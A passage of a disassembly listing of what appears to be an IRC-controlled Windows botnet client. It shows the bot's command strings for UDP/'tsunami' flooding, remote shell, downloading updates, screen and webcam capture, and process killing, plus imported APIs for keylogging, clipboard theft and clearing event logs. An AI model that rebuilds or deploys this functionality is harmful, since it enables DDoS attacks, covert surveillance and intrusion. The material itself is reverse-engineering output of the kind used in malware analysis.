db 3, 2Dh, 20h
aFailedToSta_29 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_4428FC db 2Dh ; - ; DATA XREF: sub_401C87:loc_4084ADo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFlood_0 db 'Invalid flood time must be greater than 0.',0
align 4
unk_442934 db 2Dh ; - ; DATA XREF: sub_401C87+6848o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
dword_442958 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401C87:loc_4084E4o
unk_442964 db 2Dh ; - ; DATA XREF: sub_401C87+68FBo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
unk_442994 db 2Dh ; - ; DATA XREF: sub_401C87+695Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_4429D0 db 2Dh ; - ; DATA XREF: sub_401C87+6A11o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
dword_4429F4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401C87+6A1Co
dd 7325203Ah, 0
dword_442A10 dd 73257325h, 6578652Eh, 0 ; DATA XREF: sub_401C87+6A7Bo
dword_442A1C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401C87+6B20o
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
dword_442A48 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401C87+6B79o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
align 8
dword_442A88 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401C87:loc_40881Fo
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
a332_2 db '332',0 ; DATA XREF: sub_401C87+6BA8o
aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+6BE7o
align 4
dword_442AE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401C87:loc_4088B2o
dword_442AF8 dd 323333h ; DATA XREF: sub_401C87+6C45o
aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401C87+6C6Co
align 4
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+6C99o
align 4
dword_442B14 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401C87+6CBFo
dd 7325h
unk_442B2C db 2Dh ; - ; DATA XREF: sub_401C87:loc_408981o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 10h
unk_442B60 db 2Dh ; - ; DATA XREF: sub_401C87+6D5Do
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_442B94 db 2Dh ; - ; DATA XREF: sub_401C87+6DB6o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToSta_31 db '- Failed to start flood thread, error: <%d>.',0
align 10h
dword_442BD0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401C87+6E2Eo
aFloodingSFor_1 db '- Flooding %s for %s seconds.',0
align 4
dword_442BFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401C87+6E87o
aFailedToSta_32 db '- Failed to start flood thread, error: <%d>.',0
align 4
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401C87+6ED4o
aS_22 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+6F0Do
align 4
aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401C87+6F3Fo
align 4
aS_23 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+6F78o
align 4
aNickS_6 db 'NICK %s',0 ; DATA XREF: sub_401C87+6F86o
aS_24 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+6FBEo
align 4
dword_442C6C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401C87+6FDDo
dd 203A2973h, 7325h
dword_442C88 dd 45444F4Dh, 732520h ; DATA XREF: sub_401C87+700Do
dword_442C90 dd 0A0D7325h, 0 ; DATA XREF: sub_401C87+7046o
dword_442C98 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401C87+7065o
dd 203A2973h, 7325h
dword_442CB4 dd 0A0D7325h, 0 ; DATA XREF: sub_401C87+70B2o
dword_442CBC dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401C87+70D1o
dd 25203A29h, 73h
dword_442CD8 dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_401C87+70FCo
unk_442CE4 db 2Dh ; - ; DATA XREF: sub_401C87+710Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
a332_3 db '332',0 ; DATA XREF: sub_401C87+711Fo
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7134o
align 10h
aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7161o
align 10h
dword_442D20 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401C87+716Eo
dword_442D34 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401C87+71BAo
unk_442D40 db 2Dh ; - ; DATA XREF: sub_401C87+71DDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
unk_442D5C db 2Dh ; - ; DATA XREF: sub_401C87+7237o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_442D7C db 2Dh ; - ; DATA XREF: sub_401C87+7277o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401C87+72EEo
align 4
unk_442DAC db 2Dh ; - ; DATA XREF: sub_401C87+7317o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_442DD4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_408FB4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
dword_442E04 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401C87+7370o
dd 2E732520h, 0
aScreen db 'screen',0 ; DATA XREF: sub_401C87:loc_40900Fo
align 4
unk_442E28 db 2Dh ; - ; DATA XREF: sub_401C87+73B9o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
unk_442E54 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409050o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing screen.',0
align 4
unk_442E84 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409057o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 10h
aDrivers db 'drivers',0 ; DATA XREF: sub_401C87:loc_40906Ao
unk_442EC8 db 2Dh ; - ; DATA XREF: sub_401C87+7430o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 10h
unk_442EF0 db 2Dh ; - ; DATA XREF: sub_401C87+7463o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
aFrame db 'frame',0 ; DATA XREF: sub_401C87:loc_4090F7o
align 10h
unk_442F20 db 2Dh ; - ; DATA XREF: sub_401C87+74E7o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
unk_442F4C db 2Dh ; - ; DATA XREF: sub_401C87:loc_40917Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 10h
unk_442F80 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409185o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for webcam capture.',0
align 4
aVideo db 'video',0 ; DATA XREF: sub_401C87:loc_409198o
align 10h
unk_442FC0 db 2Dh ; - ; DATA XREF: sub_401C87+759Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
unk_442FF0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409239o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0
dword_443030 dd 234032Dh, 74706163h, 2657275h, 49202D03h, 6C61766Eh
; DATA XREF: sub_401C87:loc_409243o
dd 70206469h, 6D617261h, 72657465h, 6F662073h, 6D612072h
dd 75657461h, 69762072h, 206F6564h, 74706163h, 2E657275h
db 2 dup(0)
word_44306E dw 72h ; DATA XREF: sub_401C87:loc_409253o
unk_443070 db 2Dh ; - ; DATA XREF: sub_401C87+7637o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
dword_443094 dd 234032Dh, 6E69616Dh, 202D0302h, 64616552h, 6C696620h
; DATA XREF: sub_401C87+764Do
dd 61662065h, 64656C69h, 7325203Ah
db 2 dup(0)
word_4430B6 dw 0Ah ; DATA XREF: sub_401C87+7677o
unk_4430B8 db 2Dh ; - ; DATA XREF: sub_401C87+7695o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
dword_4430E4 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401C87+769Do
dd 732520h
unk_4430FC db 2Dh ; - ; DATA XREF: sub_401C87+76DCo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_44311C dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401C87:loc_40936Ao
dd 746E6573h, 2Eh
dword_443138 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401C87+778Co
dd 2Eh
unk_443150 db 2Dh ; - ; DATA XREF: sub_401C87+77E5o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_443190 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401C87+7819o
dd 0
dword_4431A8 dd 7325h ; DATA XREF: sub_401C87+783Bo
unk_4431AC db 2Dh ; - ; DATA XREF: sub_401C87+788Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
unk_4431D0 db 2Dh ; - ; DATA XREF: sub_401C87+78E6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_34 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_44320C dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401C87+7915o
dd 27732527h, 2Eh
dword_443228 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401C87:loc_4095A3o
unk_443234 db 2Dh ; - ; DATA XREF: sub_401C87+7960o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
unk_443258 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4095EEo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process ID: %s',0
unk_443288 db 2Dh ; - ; DATA XREF: sub_401C87+79BBo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_4432A8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40964Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process: %s',0
align 4
unk_4432D8 db 2Dh ; - ; DATA XREF: sub_401C87+79FCo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4432F8 db 2Dh ; - ; DATA XREF: sub_401C87+7A2Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS__0 db '- Lookup: %s -> %s.',0
align 4
unk_443318 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4096BAo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 10h
unk_443340 db 2Dh ; - ; DATA XREF: sub_401C87+7A53o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
aOpen_1 db 'open',0 ; DATA XREF: sub_401C87+7A6Do
align 10h
unk_443370 db 2Dh ; - ; DATA XREF: sub_401C87+7A80o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_443390 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409711o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_4433B4 db 2Dh ; - ; DATA XREF: sub_401C87+7AA3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
aNickS_7 db 'NICK %s',0 ; DATA XREF: sub_401C87+7AE9o
aS_25 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7AFEo
align 4
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7B2Co
align 4
aAll db 'all',0 ; DATA XREF: sub_401C87+7BB9o
unk_443400 db 2Dh ; - ; DATA XREF: sub_401C87+7BD3o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
unk_443428 db 2Dh ; - ; DATA XREF: sub_401C87:loc_409864o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_443450 db 2Dh ; - ; DATA XREF: sub_401C87+7C28o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_443474 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4098B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7C97o
align 4
dword_4434A8 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401C87+7CA5o
dd 2E732520h, 0
dword_4434C4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401C87+7CB2o
unk_4434D0 db 2Dh ; - ; DATA XREF: sub_401C87+7CC2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7CD6o
align 4
unk_443504 db 2Dh ; - ; DATA XREF: sub_401C87+7CE6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
aNickS_8 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7CF3o
align 4
unk_443534 db 2Dh ; - ; DATA XREF: sub_401C87+7D03o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_409994o
align 10h
unk_443570 db 2Dh ; - ; DATA XREF: sub_401C87+7D23o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s ms',0
align 4
aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4099DAo
align 4
unk_4435AC db 2Dh ; - ; DATA XREF: sub_401C87+7D69o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s seconds',0
align 4
aNickS_9 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7DBFo
align 10h
unk_4435E0 db 2Dh ; - ; DATA XREF: sub_401C87+7DD3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
asc_443604: ; DATA XREF: sub_401C87+7E06o
; sub_401C87+7E24o
unicode 0, <!~>
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401C87+7E54o
align 10h
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401C87+7E68o
align 4
unk_44365C db 2Dh ; - ; DATA XREF: sub_401C87+7E77o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401C87+7EC1o
align 10h
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401C87+7ED5o
align 4
unk_4436DC db 2Dh ; - ; DATA XREF: sub_401C87+7EE4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
unk_443708 db 2Dh ; - ; DATA XREF: sub_401C87+7F39o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_443728 db 2Dh ; - ; DATA XREF: sub_401C87+7F56o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F63o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F78o
align 4
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7F8Bo
align 4
aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_409C75+Fo
align 10h
aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_409C75+16o
aS_12 db '%s',0 ; DATA XREF: sub_409C75+3Bo
align 4
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409C75+58o
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409D10+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409D10+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409D10+2Bo
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409D10+38o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409D10+45o
align 4
aModule32first db 'Module32First',0 ; DATA XREF: sub_409D10+52o
align 4
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409D10+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409D10+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409D10+79o
align 10h
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409D10+86o
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409D10+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409D10+A0o
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409D10:loc_409E18o
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409D10:loc_409E45o
align 4
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409D10+14Ao
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409D10+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409D10+15Fo
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409D10+16Co
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409D10+179o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409D10+186o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409D10+193o
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409D10+1A0o
align 10h
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409D10:loc_409F08o
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409D10+200o
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409D10+20Do
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409D10+21Ao
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409D10:loc_409F6Fo
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409D10+270o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409D10+278o
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409D10+285o
align 4
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409D10+292o
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409D10+29Fo
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409D10+2ACo
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409D10+2B9o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409D10+2C6o
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409D10:loc_40A022o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409D10+31Ao
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409D10+327o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409D10:loc_40A067o
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409D10+35Fo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409D10+36Co
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409D10+379o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409D10+386o
align 4
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409D10+393o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409D10+3A0o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409D10+3ADo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409D10:loc_40A115o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409D10:loc_40A13Do
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409D10+43Eo
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409D10+446o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409D10+453o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409D10+460o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409D10+46Do
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409D10+47Ao
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409D10+487o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409D10+494o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409D10+4A1o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409D10+514o
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409D10+525o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409D10+52Do
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409D10+53Ao
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409D10+547o
align 4
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409D10+554o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409D10+561o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409D10+56Eo
align 10h
aSocket db 'socket',0 ; DATA XREF: sub_409D10+57Bo
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409D10+588o
aConnect db 'connect',0 ; DATA XREF: sub_409D10+595o
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409D10+5A2o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409D10+5AFo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409D10+5BCo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409D10+5C9o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409D10+5D6o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409D10+5E3o
align 4
aSend_0 db 'send',0 ; DATA XREF: sub_409D10+5F0o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409D10+5FDo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409D10+60Ao
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409D10+617o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409D10+629o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_409D10+631o
align 4
aListen db 'listen',0 ; DATA XREF: sub_409D10+63Eo
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_409D10+64Bo
align 4
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409D10+658o
align 4
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409D10+665o
aGethostname db 'gethostname',0 ; DATA XREF: sub_409D10+672o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409D10+67Fo
align 4
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409D10+68Co
align 4
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409D10+699o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409D10+6A6o
